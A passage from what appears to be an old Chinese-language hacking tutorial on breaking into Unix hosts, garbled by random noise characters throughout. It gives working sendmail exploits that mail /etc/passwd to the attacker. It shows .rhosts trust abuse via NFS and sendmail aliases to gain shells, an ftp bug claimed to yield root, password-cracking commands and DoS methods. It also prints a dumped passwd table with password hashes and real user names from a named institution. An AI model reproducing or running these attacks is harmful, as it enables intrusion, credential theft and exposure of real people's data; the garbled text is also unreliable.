. M4 C+ g# {+ [: a; k/ VConnected to victim.com' V5 l. z: w. t( a; } E8 N) l
7 v* z S0 B4 [4 i6 ?) {2 F' a9 BEscape character is '^]'.2 B, |' S, o- U1 c& O& T
/ y" K# g. T" a; ?220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04* k4 q& c8 g0 Y1 Z2 h6 \- _- p
7 B0 t" R Y3 k) \mail from: "|/bin/mail me@my.e-mail.addr < /etc/passwd"
* o1 o" y5 {1 h) q5 `# G( z
1 O( j! z; N; l6 c250 "|/bin/mail me@my.e-mail.addr < /etc/passwd"... Sender ok) x2 c7 ^$ _) E7 o1 j6 ?" b
9 j; c2 }& ^) X( l- [$ W+ ^4 s
rcpt to: nosuchuser: k H3 h1 D6 K0 O
; v* e! s7 y y7 p# J6 e& t550 nosuchuser... User unknown
, w$ @9 n2 p6 a4 ?4 J ]0 `
R8 k$ }- b' W5 r4 m$ }5 O! N: Adata
, I3 j5 ~( ~% E: c. C7 Z5 n3 O0 f% U! W4 x5 r
354 Enter mail, end with "." on a line by itself
- W C! r- {& \) R, \
! f/ o5 w% s) J" @' {..
) N; _1 N- K; N& f
r; L0 C ?; g. B, v+ I250 Mail accepted
% E7 N, E- x* ?' N& b8 Z1 L! }: K$ x3 B) m' x Z, T/ \' I$ t x( w
quit$ g9 H. h D+ F6 X
% n( v6 p5 w$ I6 _Connection closed by foreign host." z1 I7 e' `! W7 L
: J9 M( E% t' O3 Z5 x) E5 g" U% Q(samsa:wait...)
0 D' z9 t, E' \1 R; j& c3 w
4 }* z7 }/ m$ D1 \# g2) 遠程控制% A" T5 e3 z$ K& [+ e! N
+ s( L$ p' u2 O4 V9 X
2.1) DoS攻擊
( k- t6 d, L2 w1 E$ a. z" c8 E2 z( T8 ^7 i% f! `6 u! C
2.1.1) Syn-flooding
! y: n- G8 b! a3 z: b2 X" }! L6 r
8 _5 |% i% |9 N向目標(biāo)發(fā)起大量TCP連接請求,但不按TCP協(xié)議規(guī)定完成正常的3次握手,導(dǎo)致目標(biāo)系統(tǒng)等待# 耗費其9 c- F3 r8 Z7 e. h5 e
! k2 ]' c' y. a- N- e. U網(wǎng)絡(luò)資源,從而導(dǎo)致其網(wǎng)絡(luò)服務(wù)不可用。& K5 w! s* C* S5 N
7 \( R1 T# G- n
2.1.2) Ping-flooding
$ }+ A) `, | \& [. m/ D5 K+ W6 u7 w7 L2 C4 T
向目標(biāo)系統(tǒng)發(fā)大量ping包,i.e.ICMP_ECHO包,使目標(biāo)的網(wǎng)絡(luò)接口應(yīng)接不暇 ?被盡?1 {2 k7 d! r# c% D! M
* D$ N V5 j; l. A5 H# e
' h- ?+ G1 B8 j0 N" H7 u$ Q- l% T- V* }: d
2.1.3) Udp-stroming0 ]) ~/ X; `# ]7 ^9 p. Q2 m% b* C& j! k
7 c1 T7 L6 D' ?/ c/ ~% g( N8 \
類似2.1.2)發(fā)大量udp包。5 ~4 ?! _+ G3 b8 M' Z- T0 S9 c
% r7 Q7 N% W# Z+ G* W2.1.4) E-mail bombing% f& H. e0 j) @( {; O+ o" u) l8 N
2 h" m& m$ \5 f5 p發(fā)大量e-mail到對方郵箱,使其沒有剩余容量接收正常郵件。
( R4 d6 {1 g! r! a/ [) C6 E( c: ^' P6 _4 p6 `3 z3 c/ a( i' w
2.1.5) Nuking3 |( ~' M2 ^0 [# S( G- k
0 p2 N1 z/ g" c) h/ L向目標(biāo)系統(tǒng)某端口發(fā)送一點特定數(shù)據(jù),使之崩潰。' }8 F6 J) l: j& Y7 L
8 _' V* ~5 H2 B' A' e
2.1.6) Hi-jacking4 d& a2 o+ t- Y$ ]
% ?! V4 i; z$ h9 ?9 a: B3 R冒充特定網(wǎng)絡(luò)連接之一放向網(wǎng)絡(luò)上發(fā)送特定包(FIN或RST),以中止特定網(wǎng)絡(luò)連接;
1 d9 i9 z" g5 e5 \
) A- N+ _3 v9 c p2.2) WWW(遠程執(zhí)行)6 }* y, S5 C/ y) H
7 Q/ I8 g4 O& Y5 f
2.2.1) phf CGI
, p! e7 O; V# x2 P- j
; Z/ z z* ]( i: x7 S! b2.2.3) campus CGI
8 R N% R; J; w3 @0 I7 i! e3 f
. V: {8 e0 m0 C( M; O2.2.4) glimpse CGI
& N7 L. `! y% v) S8 r0 j2 \5 J' t* d" l0 [! ~0 S. l! Y
(samsa:在網(wǎng)上看見NT下也有一個叫websn.exe的buggy CGI,詳情不清楚)
; j% }2 y7 A. U h$ T
9 z' t* e; r7 m1 x0 ]) Y2.3) e-mail2 w8 t/ U0 g+ t. B
5 T# f! o {; H9 I同1.7,利用majordomo(ver. 1.94.3)的漏洞1 `3 B1 Q' A2 h: H! g
8 g' _) w& a+ k9 N
2.4) sunrpc:rexd
+ c2 ^- u, u) m5 I6 h5 F1 Q
/ |0 v% e4 E6 g' X0 s據(jù)說如果rexd開放,且rpcbind不是secure方式,就相當(dāng)于沒有口令,可以任意遠程. X* A$ i5 ~' Z- m$ I
- D* l4 \: T Z: d" G1 {1 K; U! y* `
運行目標(biāo)機器上的過?. Y j" U. v$ t1 j! D# d
; [0 t" Y% q, x+ y2.5) x-windows
$ ]' u. ^" U7 i2 v- _
6 x' Y. O( ^* ]( O$ n3 O& N如果xhost的access control is disabled,就可以遠程控制這臺機器的顯示系統(tǒng),在
( J t8 S: `6 f+ O- j7 V% i- v
F: Y. D7 ^) x' h! }# w7 g上面任意顯示,還可以偷竊鍵盤輸入和顯示內(nèi)容,甚至可以遠程執(zhí)行...
" Y) g6 I" z. d) P% @0 W: |6 m9 p3 y: C
三、登堂入室(遠程登錄)* S7 [/ l; O H' o i7 ?. [5 [
, x" `- R$ n9 O8 I) f- h# Z1) telnet4 @* L7 n' |( l# R' `
7 h; W5 d2 i9 _" Y9 U2 {' w6 a5 _要點是取得用戶帳號和保密字
W- _9 U) \7 G
# y d+ s1 b+ O, _1.1) 取得用戶帳號7 C8 l5 i" m H: W: k/ \3 ]) T
( W2 W& ?8 Q H' O1.1.1) 使用“白手起家”中介紹的方法: l! ^/ N( {3 f6 B. S# u6 i
" f. R: e5 d" F% L0 x1.1.2) 其他方法:e.g.根據(jù)從那個站點寄出的e-mail地址
/ J# V9 b# _* W. T: s7 x- b2 e! W) V, F- p
1.2) 獲取口令8 z& c# D1 y3 ^+ i
0 V. A) I( b8 G% E+ Z. a$ s
1.2.1) 口令破解
) u+ |, O, W1 q0 q% E: ~7 o. }0 d6 v/ B4 Z% q
1.2.1.1) 使用“隔空取物”中介紹的方法取得/etc/passwd和/etc/shadow
/ b6 t+ {9 |+ ]5 {- U& [; I" u# k- k5 W$ y. p# |
1.2.1.2) 使用口令破解程序破解口令
9 `. R3 ~3 P: Y) j
( F$ i! \8 J, }: h' }e.g.使用john the riper:
8 P9 l L$ J: I3 [; ^6 Z) b! D
# unshadow passwd shadow > pswd.1( A7 s/ Z1 l: e7 v+ ]. w
! y6 Q5 }% H# f
# pwd_crack -single pswd.1: e0 O% R! P; X6 Z
+ `" z' {, [4 k# pwd_crack -wordfile:/usr/dict/words -rules pswd.1; K0 p6 T8 ^( m; [- Z1 K/ B9 E
! C ^0 m- \/ `1 r( |* H2 c$ o: G
# pwd_crack -i:alph5 pswd.1
4 c% B g1 x9 C5 y
8 s( G2 m- V2 q) d+ o1.2.1.3) 使用samsa開發(fā)的適合中國人的字典生成程序
2 i" h0 r( I# \8 b" _2 L% V8 R4 g# W. R* R5 I
# dicgen 1 words1 /* 所有1音節(jié)的漢語拼音 */7 ?6 I& L: B( P* D; o
! c8 W6 H3 j) w$ s8 ~# dicgen 2 words2 /* 所有2音節(jié)的漢語拼音 */
5 A, t9 ^) T) `, L
: O1 X2 B5 I' r4 @! E0 _8 {% m# dicgen 3 words3 /* 所有3音節(jié)的漢語拼音 */$ h; P! N7 h) F! {% q3 z& f3 G
- _3 s2 s. Y0 W# pwd_crack -wordfile:words1 -rules pswd.1
! v$ [+ ~+ M' P$ e$ h4 a
/ \; z% F3 w0 D5 u# pwd_crack -wordfile:words2 -rules pswd.1( u' G9 K: W7 |: w
4 ?, J+ U$ q- c# H( U7 E& g2 h
# pwd_crack -wordfile:words3 -rules pswd.1
! }# U) ?* m7 n& A
3 W% q. a( \/ G. d* _1.2.2) 蠻干(brute force):猜測口令1 g+ N, f \) U ]" O+ n" b n- y
, o5 i: r+ t2 J( _( `猜法:與用戶名相同的口令,用戶名的簡單變體,機構(gòu)名,機器型號etc$ A# U1 u2 ~+ u0 O( }- { g* e
$ R( Q2 n% ~" \e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...1 ?9 C4 K! u2 W
+ [+ h9 V+ k4 |" ~
8 Q# v, q' m4 R* U
/ p. K2 j8 A! O; Y
(samsa:如果用戶數(shù)足夠多,這種方法還是很有效的:需要運氣和靈感)3 ~% D: j, ~6 A
) X/ }; l6 h% k4 U+ p2) r-命令:rlogin,rsh- ], B3 ]6 [) l* Z
% x# M: p/ S0 L' l m( h
關(guān)鍵在信任關(guān)系,即:/etc/hosts.equiv,~/.rhosts文件" ~* A& Z2 C, R }: P% M
: ^/ S" G. e! J1 f/ c' I" s
2.1) /etc/hosts.equiv
4 B% }( [" J1 I: E5 m) k" T1 X8 g2 Z, ~3 M+ m
如果/etc/hosts.equiv文件中有一個"+",那么任何一臺主機上的任何一個用戶(root除
' U7 Y+ R) m, y! Y4 P; F; }- n1 T5 [3 f8 ^. F- B
外),可以遠程登錄而不需要口令,并成為該機上同名用戶;( T# A5 o0 K4 \" k8 }/ z2 Q
3 u8 X' n% Y1 g) `$ {2.2) ~/.rhosts
7 K9 h$ i$ h! U# h! M/ a N
% c; z5 Z5 G* x1 r% d/ C如果某用戶主目錄(home directory)下.rhosts文件中有一個"+",那么任何一臺主機上2 v+ d# F* G( w: \
) V+ \; o" b7 [/ r0 z2 @5 d
的同名用戶可以遠程登錄而不需要口令6 V. d6 B9 n3 d# _6 e5 s
7 M! e4 m' }, N1 }* Y# Q. Q
2.3) 改寫這兩個文件. i6 b+ [: E0 m. l
& e- F) }7 y: l2 H2 g/ X6 T- {
2.3.1) nfs. m) p- Q6 ?. p' `9 W7 _
2 ^4 ~/ S4 M: G如果某用戶的主目錄共享出來, G% ^2 p% n7 F. Q0 Y6 M0 J
$ E5 I9 d. T/ X# showmount -e numen& P j& |! o0 R6 f% Q# s' ~
5 ~1 r1 C$ @/ [ ]export list for numen:
; G0 j4 q& |" ?: J* c: _& L+ K" i7 R% f
/space/users/lpf sun9
; S+ a: e2 U6 U3 R0 N" X9 c1 m$ g8 n( \, p, X7 g# g
/space/users/zw (everyone)
) i z8 ]% h/ K
# m z- r: p! Z6 @# mount -F nfs numen:/space/users/zw /mnt& [9 r9 J) F3 I: M
6 f6 p3 l9 L8 S, ]5 _+ z
# cd /mnt0 W, i! a* Q: p
0 W+ t5 s2 X$ F8 d" a. B/ _
# cd /mnt4 g* G, t- t$ B1 e9 Q0 t
8 D7 v6 f7 z5 n' U! E2 `" ^$ g# ls -ld .
- H! ?0 ]6 i' T5 F
) t: D) [% W6 y* O5 Y9 H K# M6 edrwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
) A5 M. e* D0 i
0 o; P4 i8 @: w* R" K5 H# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
+ z4 p9 f6 |( o( ^5 y, h4 i2 q$ v# Z& f* {
# echo zw::::::::: >> /etc/shadow" }" f$ a# r/ b t0 @% T( ^7 z
4 T( {+ b. b( v( a% S. r4 F# su zw: D' @. H( ]2 h* X0 i5 C L& W
6 Z6 ]" \5 o# ^5 e/ |
$ cat >.rhosts' ^; Z! B; y" Q& Y) q/ d
# r3 d8 }* Y; V1 l
+1 g$ A9 I; ?. K. U, @$ H) L- `) I# ~3 {
' L h- _# q \' N
^D
% k! e2 t. A4 K( \
& N4 y& g* T7 V4 {$ rsh numen csh -i
9 x& Y* b: t. l( g1 B7 u. q; n$ f2 s& K0 Z
Warning: no access to tty; thus no job control in this shell...
- c7 E( g+ E) y- o% c% d( D$ [& h
2 `! K; t5 F b+ ~$ Wnumen%+ ?( z% o& }- z' o( o
. @: Q! Q. t9 S; s
2.3.2) smtp5 s w5 Q$ r0 F7 Y
( Q8 p5 N; c. X% g W8 k利用``decode''別名
+ R! y5 D1 s1 ]' \4 J
3 e* f* I1 h! X. r+ ca) 若任一用戶主目錄(e.g./home/zen)或其下.rhosts對daemon可寫,則1 {- W! J$ i- o8 W; T( z
8 k8 q) X4 e9 O7 d' @* R) s, h# echo "+" | uuencode /home/zen/.rhosts | mail decode@victim.com- Z! F% l+ L0 F, I/ C; w/ B* z
( `- e' y1 r. j2 i
(samsa:于是/home/zem/.rhosts中就出現(xiàn)一個"+")3 B/ @) R7 V4 J
; L' t! b' K8 ]3 \" H H% m/ p
b) 無用戶主目錄或其下.rhosts對daemon可寫,則利用/etc/aliases.pag,0 k5 Z4 ?: s0 O
7 q% b- i2 G1 O. H3 W因為許多系統(tǒng)中該文件是world-writable.
, _' x, @! L% `8 s5 l1 A
+ x1 {/ O$ X2 ^% o: v" R: M' |# cat decode
$ k' y) H9 u- z% ^. @! g0 Y' ?- V( \; J' i6 |9 C
bin: "| cat /etc/passwd | mail me@my.e-mail.addr"
/ |8 |% S9 d; v3 y0 I, _, A% ^% @5 |8 k/ L$ x5 F' l t
# newaliases -oQ/tmp -oA`pwd`/decode
. w3 t- O# N0 e$ S/ k0 g3 t
5 `$ R- T; h- \6 a; k4 O# uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
3 t7 `3 k+ q1 i0 |& E& e# q
) z) m) {5 l& `# I5 \# /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null( r: R7 T1 w0 M# f- R6 m
. Z6 N$ Z G2 f5 p9 h6 n(samsa:wait .....)* V" k3 g; w9 H, L) \& i: W+ ]
, i2 m% L+ ~7 T: G# m' _+ Kc) sendmail 5.59 以前的bug
6 P1 T. P0 g' e+ ` H9 t) i
" d8 V& q, N1 B, c; F4 ^( \# cat evil_sendmail
/ D( `# Z4 O) u) e+ `; j2 {0 F) y! \0 }0 u! {1 Z% ]0 u
telnet victim.com 25 << EOSM1 Y- n/ D$ _! E
$ w4 |3 j1 k& w g
rcpt to: /home/zen/.rhosts7 h H+ {9 E; Q7 u$ V! k" x( u6 P
3 G: A6 a: j) ]4 A; Q
mail from: zen
9 D' Z) w8 N: g8 d6 }8 l
3 K" G/ d' S3 r Odata7 R- k+ M6 C' x# X
2 r# F% S4 [# }3 z; [+ I! D( e7 Prandom garbage
9 P) b* Y1 y" d" e& ~1 l/ j
7 i/ M- Y+ z% b* p; t1 \..; S: U, |# Z6 q
* O5 J. o" y# E9 r" [rcpt to: /home/zen/.rhosts: i% \- \3 r8 V& ]8 t/ _; V
" O1 O% K$ [ r6 N( r7 q
mail from: zen
1 a8 o) e. C; R7 @& Q& }
6 e3 ?# t: a% R# N K D& \4 Vdata2 K& v. x! V- @4 C' q
% Q# \4 v+ B2 c/ |
+, h9 ?; W' f. i7 \) t) ~
" f6 e% j2 S) N5 ^( n
+
% S' g4 f& g4 @$ k! _8 y: A; ]" h, g3 e$ @4 o' Z* \
..( F; \. x8 o$ B1 b' l; I0 z
* h. d S8 @) n" Qquit
- y; {0 D4 J) ?+ H
# q" o: r! @% Z' fEOSM
: J+ h7 d0 L" q0 Z
1 N9 T$ m R/ V6 B5 _( e5 Q& s# /bin/sh evil_sendmail
w3 o+ H3 T6 c& Q. F- k
4 h0 X* g2 m) ^* @: i yTrying xxx.xxx.xxx.xxx% `+ x9 \$ E" N
& U1 J1 U) r; G5 h: h
Connected to victim.com
' b; C, X- [$ l. j8 d% |# `
. D- G3 [, |) z$ N8 H* vEscape character is '^]'.
: y" y' ?' T: l3 O% q' r) Y8 u d( Y+ G
Connection closed by foreign host.
, R* @+ r3 l5 t
% t# n2 c4 n" K- B. p; G' _# rlogin victim.com -l zen" e p: l1 ]& r" v) o. N ? W
. C3 _' ^. S( x
Welcome to victim.com! [8 Q7 D7 l2 l4 R
# E0 ^$ X3 `( J& J3 }) {5 {% n
$
. I6 n" G& a" w% @" v; p5 y: |1 f! q' P; p3 T* N% `- j! f5 U
d) sendmail 的一個較`新'bug& D1 g8 b6 [* a7 u* a
T* f x- u2 U: x* S' D0 h& G
# telnet victim.com 25
. U: \* J+ E. U3 ~# R, H2 Z1 R1 s
/ _# S' Q1 l$ g$ DTrying xxx.xxx.xxx.xxx...
" v4 O. n- T/ L7 {& |
6 \4 E# [8 Y; |$ a! H @5 {Connected to victim.com4 G3 D3 k% g) S6 ~$ V Y) m8 d
* g$ _2 N/ P* p. Q3 j0 q8 v' u; CEscape character is '^]'.
, A ?0 Y6 u4 u' D: r
; c ?1 u' q- m+ {220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04: e7 q) J) J" {- W# s; k6 Q
8 y" \- ^# e2 \& z8 F
mail from: "|echo + >> /home/zen/.rhosts"
+ { c" v" C6 u8 y( ]) V! I& x8 w
5 d _2 c& Z# d9 S; `6 c250 "|echo + >> /home/zen/.rhosts"... Sender ok
1 D) Y* S9 b$ X2 q3 X# o9 N+ R
rcpt to: nosuchuser4 M5 d) U( i: z, F. T a7 \
" o6 {) u: g5 X8 K( B6 {: \550 nosuchuser... User unknown5 f5 N7 r: E ~- @
! C0 [: f6 ^: A$ f/ F, N" bdata+ e; W: f! _& q8 H5 J, }
5 D2 d5 ]& B2 o/ Q( o- n% a ~
354 Enter mail, end with "." on a line by itself. q5 H2 D2 G' J7 O5 x+ ?, v
' z9 `. ^* X( k2 i
..7 E" c/ D( A D7 S0 C" s/ X% `
9 s- W% @. l" E" [! o4 Q& ^" `250 Mail accepted: m, ^' A4 x* Y. i
" @- a* i, T. S' ^3 Q) B2 {7 C; P
quit
) h W. h: U) H" A5 ^: `" c' u) E# |6 c: A; L& T: p! W2 `" ~
Connection closed by foreign host.
. o( r; y3 t( p0 ~0 D" L
- L0 \( t8 w: I! ^( w' \+ [/ Q# rsh victim.com -l zen csh -i
}) h5 |+ X& ?9 Q1 q6 h' {1 L" u/ A/ B
Welcome to victim.com!
& d. N& D+ A0 i1 B( l- b
5 `( T/ H9 C9 }/ Z+ x$& L9 G7 f8 i6 A7 J5 L/ Z3 _+ E6 }
3 f: r& ?! d g6 n7 b2.3.3) IP-spoofing2 w6 T- w ^8 C. l) m
, ] Y7 K" w+ J/ s6 wr-命令的信任關(guān)系建立在IP上,所以通過IP-spoofing可以獲得信任;
% _' D* B+ Y2 z8 [$ e7 D# V% _ J" f/ t. k+ A8 V! x
3) rexec1 O/ ~% H6 t% a+ ^, i5 y: b
* P( M% ?, g. g/ |/ }" X5 ^) P" p
類似于telnet,也必須拿到用戶名和口令; M8 t) y, L6 o% G! k& k" t
' ]% F+ n5 n4 W, l1 F, O4) ftp 的古老bug
7 M* R( w; e/ A" j& `0 }
2 E* }+ M) x' g( R; ^# ftp -n
* w/ S5 N1 ^$ F* ^
' A$ c5 V3 J# e2 x2 Q0 E/ K4 iftp> open victim.com0 w7 Z# \# m% o8 V3 H
$ X9 {- m7 y: R# x* m! x$ r
Connected to victim.com2 c d7 P+ L/ F. n; A; K" e3 P( V
2 w7 d' [1 m0 T |8 o; \% u
ected to victim.com
. |! Y2 ?0 i& z9 m/ c6 I* x/ M7 w
220 victim.com FTP server ready.3 W- X% e- u$ c
3 R3 }, r1 ^6 W9 K! zftp> quote user ftp* [$ [" a: g: r3 D' O
* Y* ?5 j7 Z6 y8 y5 X6 b331 Guest login ok, send ident as password.1 e9 k! p0 M4 L! n4 r. W# S5 W
1 a6 T7 G) v. G" h6 Y) Eftp> quote cwd ~root
' ~7 Q1 |% Y3 U. i
9 L5 g9 P& r" o x7 o' B530 Please login with USER and PASS.
* i2 a# M: e. R( O ~; N; F, r. x" h$ i1 X* h! x. m, a# q
ftp> quote pass ftp
# @+ s$ `) _7 Q7 _' S* ~* |6 p% U, D1 G9 a' U6 S: T
230 Guest login ok, access restrictions apply.3 n' `, P( q8 h- U: E
( X% k( X/ d5 f9 dftp> ls -al / (or whatever); D* B- M$ D- Z
+ O$ b& ?' |8 \9 b) c, L- Z' W+ ~(samsa:你已經(jīng)是root了)% H5 x5 n5 Q, W
% p1 Y, e( z: H9 i/ l
四、溜門撬鎖
# g8 B' M. q! i8 H# A) q U+ Y
& v9 t: }$ d4 W0 f! ]8 H! U5 h一旦在目標(biāo)機上獲得一個(普通用戶)shell,能做的事情就多了" y) v8 R z% Q! s: ]5 ~% Q
5 F* T4 Z9 c7 Q; x; O! T/ b& v1) /etc/passwd , /etc/shadow
: V, m6 h- B9 w
# k$ ^) F0 x6 ^# X$ t能看則看,能取則取,能破則破
) s2 L/ V% E% b( F8 S, T1 D, _
. i& u6 }0 t3 p, @1.1) 直接(no NIS)
" S% G2 U3 Q3 D, ~
% `' g3 R6 s" G3 _3 |$ cat /etc/passwd
! |$ }; v3 }- U9 i; L0 ~8 O" v7 K3 ^3 r! V
......2 j6 o; W6 k- ~- X& I$ [4 k
4 D$ V- S! S' F......& V# i/ {8 r& w! X
- w' d" K% R1 C4 ]' B; ]( [1.2) NIS(yp:yellow page)4 F. b4 F, j0 t. ?; p( D
; g( r' K" P9 p `0 Q$ domainname. i( i% y9 B) l: }2 q: V
9 y# W! V* p k5 \2 @/ s
cas.ac.cn! Z+ I/ [+ F' ]9 l ]2 S% R; P
X3 E) i+ g2 F$ M, P/ E9 y$ ypwhich -d cas.ac.cn
4 y2 u% [2 Q, p+ Z! |9 A% G- V! z- N. N' x
$ ypcat passwd
( R) D- p; G/ ^4 b) k# r, [& ?- p0 D6 h* v$ G; {( h' ?- ^
1.3) NIS+& n- ~- d: f* M/ P- @& l
8 ~2 j e' h1 H8 u$ Zox% domainname
_9 J- y' X$ B: n3 f0 W1 M
* f7 b( K1 F* o7 t: U6 X- Zios.ac.cn
0 m, g# Q6 b* t. ~- n: n6 D6 Y1 c9 Q& D' C$ L. b9 _
ox% nisls8 N% d2 [3 E4 t) ?1 c
3 c6 [1 q7 V2 n: F1 R6 t% E+ G; Bios.ac.cn:
4 o3 s/ `! P' Q; a
' [: l' Q2 {6 h( z4 j3 Uorg_dir
# Y4 L, t* h- f0 A
* }0 |9 M8 S P4 R1 x+ N: [3 Q6 ?: Hgroups_dir
) N0 e g' M/ a' f" a9 r/ E- i: R. t; c* o. b- F* Z
ox% nisls org_dir
/ T: |2 M+ I2 A- F; K
3 h/ N- k$ B* Q5 Z% Oorg_dir.ios.ac.cn.:
- b; @ k' S, Y5 y2 a# k. U
( g1 K* t2 O" O' ?1 ^passwd
! [3 L4 z# C, }* I5 J
3 u3 i0 o: K% S5 c3 U. _; s* Q h* Dgroup
% v c) ]& v. b9 P d& D4 D
# ^2 c9 t! @# F$ [: O5 Jauto_master* a3 S) \6 z) G. H+ P' y1 E
( t" |9 z: v6 e6 \3 Kauto_home
+ v5 R3 b# m# w& u/ s, {3 r1 d9 @/ Q% |: n' h
auto_home/ _3 _8 K" U' Z
/ P0 X1 N* G* S: zbootparams
! o) z" d N) o) U, z# Y% B1 N. U, l4 W" E; K# X& D, U
cred
% U$ T$ O6 u3 E# r
$ f4 a, [, ?' s: c: {* {7 B, \. cethers
* m' O% T! l: N1 D& k8 d& V: G
hosts+ {9 ?7 _& c2 [# O: k
2 Z( [1 C; Q+ b, @# _0 b7 H4 K3 ^; s7 [mail_aliases$ K, ~6 n4 B v. }/ { P0 d K
- R$ G) [5 @* p2 Y1 F# ^
sendmailvars. j( }7 f9 [' S+ ]% ~1 R
* O+ ?9 b p1 m
netmasks
! {4 _/ g. Q, o I4 |9 N4 i& F
/ q8 ?3 |1 f0 ?. ^* x1 p- {netgroup3 A- b# z" l+ x2 |$ ]6 k: b3 T
g( B: f2 a6 \! `! u6 K; V: enetworks( g6 @6 A x$ ?9 O% T
" a% b& A# F( x# C
protocols, \) S$ S4 M! E( @; l% }
) Y/ Q0 o* C8 {# ?rpc/ j/ d d; [2 k, W8 H2 L
, c7 `- `9 h% D2 C! d$ V
services6 C( N9 X4 O" z! g; O3 T8 |
" D' `5 z+ U, J% K# g; ktimezone
+ C( K/ V9 U& p1 `2 g* w6 U. E9 g$ v9 N v
ox% niscat passwd.org_dir
) O; o2 v2 e$ V9 c
5 X+ O: Y6 m2 F( h1 |root:uop5Jji7N1T56:0:1:Super-User:/:/bin/csh:9841::::::
3 T( y8 d. c- \+ J# m
/ Y" S t u, w* O# f- p' y4 hdaemon:NP:1:1::/::6445::::::
0 ] ]4 G. U# y1 J$ x7 O9 P7 I9 m+ Y6 }! w2 \8 C
bin:NP:2:2::/usr/bin::6445::::::; I3 D/ m; [4 s M% O( `8 ?* w
' e3 b2 K' p; C+ Q/ Csys:NP:3:3::/::6445::::::
% F+ B" h8 E6 y! `& ]
9 C5 x+ _# ^$ }5 E9 f/ Eadm:NP:4:4:Admin:/var/adm::6445::::::
: o# @4 F& t$ Y* V- E2 Z3 y( e3 f Z; n M
lp:NP:71:8:Line Printer Admin:/usr/spool/lp::6445::::::& ]! E0 s; c: l- d2 |! O3 d; s. S
! u8 y# d+ g/ T$ q' Q
smtp:NP:0:0:Mail Daemon User:/::6445::::::
4 X) m2 I* R3 C8 T6 _, R' r" e3 [( ^
uucp:NP:5:5:uucp Admin:/usr/lib/uucp::6445::::::
2 [( X5 ^- c9 S# P0 D5 Q
1 N( e+ u1 Y9 ~& w$ l. h8 ~7 Ilisten:*LK*:37:4:Network Admin:/usr/net/nls::::::::
k6 g% I" c6 d' S4 ~" k7 \& o- K- V5 K* h5 s6 _
nobody:NP:60001:60001:Nobody:/::6445::::::. F& g S/ Q- d) ]9 i9 D) W- L3 I
3 F$ v1 O1 S# c! n& F( t
noaccess:NP:60002:60002:No Access User:/::6445::::::( [9 ^4 {4 \ P) p8 ~! `: E V/ i
" T6 Z2 P/ B! I3 H6 pguest:NP:14:300:Guest:/hd2/guest:/bin/csh:10658::::::. Z4 _; m: t6 H
% } ?# n" U4 h5 i! zsyscd:qkPu7IcquHRRY:120:10::/usr/syscd:/bin/csh:::::::# s6 P+ k: ~7 K3 l5 o! }
6 b1 }3 T$ K. @! t* I6 qpeif:DyAkTGOg/2TCY:819:800:Pei Fei:/home/peif:/bin/csh:10491::::::* G* G+ p9 T% ^
% z8 @' P7 t5 x) {- M3 }) elxh:T4FjqDv0LG7uM:510:500:Liu Xuehui:/home/lxh:/bin/csh:10683::::::7 |: q% ^. k( K) _2 m& \
, p) W- N0 i' P' n- ffjh:5yPB5xLOibHD6:507:500:Feng Jinhui:/home/fjh:/bin/csh:10540::::::
6 J3 k% J) ^" e" ~; J
2 R! z2 L2 c6 @8 z/ Jlhj:UGAVVMvjp/9UM:509:500:Li Hongju:/home/lhj:/bin/csh:10142::::::
, c, F1 L4 V9 \3 [- K6 ~+ m# j( v- N$ I7 B7 m! B
....9 j: q6 j: Q5 U% ^! S# F' d/ h- x
, F6 K3 A$ N" v$ I6 t+ f(samsa:gotcha!!!); x& |8 l r3 x! k0 o7 C( p
! y! s& Q, E1 s. _) u# A
2) 尋找系統(tǒng)漏洞% L) [8 V, {: B4 L _8 |
* u; A ~: _* I2 q$ Y8 X1 v
2.0) 搜集信息! Y: N, t; E- e( I/ c, ^! F
y9 B, k: Q3 Q+ Aox% uname -a" A) E4 d- w- h0 @ d
3 `, d7 V( p3 d: r& X4 X3 Q1 X) ~1 f9 h
SunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
' t8 `4 T: W! V0 Q$ C( l0 _7 Y* [5 B+ T/ F
ox% id# w) m+ r6 G. {4 u0 Q n" ~
( o' _8 i A& d9 o* \8 Muid=820(ywc) gid=800(ofc)
, o6 K' }1 T) v4 d2 S. Y* X7 W6 K& h- p3 U' @
ox% hostname
' U& r9 R8 j1 F% L* O) S5 J
" {( U; S' A/ _+ r) Jox
$ E% _6 Q; E/ E$ q G$ a; U0 P4 V& T% h4 o X) s, o, p
ox
& |, ?8 C3 {. P" t4 h6 ~6 h) S8 c8 i r2 O( M
ox% domainname1 P5 P# W: c3 s: Q. d+ _+ G
; l* k: f) x8 U! Pios.ac.cn
`, Z _* `: E- {
- t% F+ M$ q& Mox% ifconfig -a8 W) D! _, F) S
+ i: C8 n# W" _# x1 ]8 r/ s- Y) ]lo0: flags=849 mtu 8232& ?7 T' A, x1 W- q* J; g! |
+ j5 @- b& R F5 Ginet 127.0.0.1 netmask ff0000005 u3 [6 H6 S( U+ v N
* \. ?3 k Q9 l, _be0: flags=863 mtu 1500. P; C% O. z K$ L4 y- \& Y
) i( N" W% P/ _. g* minet 159.226.5.188 netmask ffffffc0 broadcast 159.226.5.1910 J8 I2 X& K: L
2 y( z. B- L; e( u8 e% l
ipd0: flags=c0 mtu 8232
" R2 q. g! S7 J! H$ ^& `" k$ d o2 G7 k8 w# {& |
inet 0.0.0.0 netmask 0& K- }3 B0 |7 u+ y: {; S) E
8 H- u0 i. n* U0 l& aox% netstat -rn
$ Q ?1 y- o% Y4 [3 P1 h1 V- e# M+ W
0 d6 j- ~- S& S! s% [1 \: IRouting Table:3 f) A9 N6 l6 T+ ~
, {5 k8 _% g1 VDestination Gateway Flags Ref Use Interface6 Z. W; j' t4 U7 Q" t" m5 A
( Q; {' W# O: B1 [, b9 a( y-------------------- -------------------- ----- ----- ------ --------- u2 i4 I9 k, P
5 ?5 e% h' s) c b) z$ ^127.0.0.1 127.0.0.1 UH 0 738 lo0: D* e# t! D& ]% o
5 V2 {! x, L+ t; q; u
159.226.5.128 159.226.5.188 U 3 341 be06 r5 i- w$ T8 I/ y6 `" C
2 u- m8 ]7 U) {* p3 M, U224.0.0.0 159.226.5.188 U 3 0 be0
" J9 B. D) m/ a# q: K, A
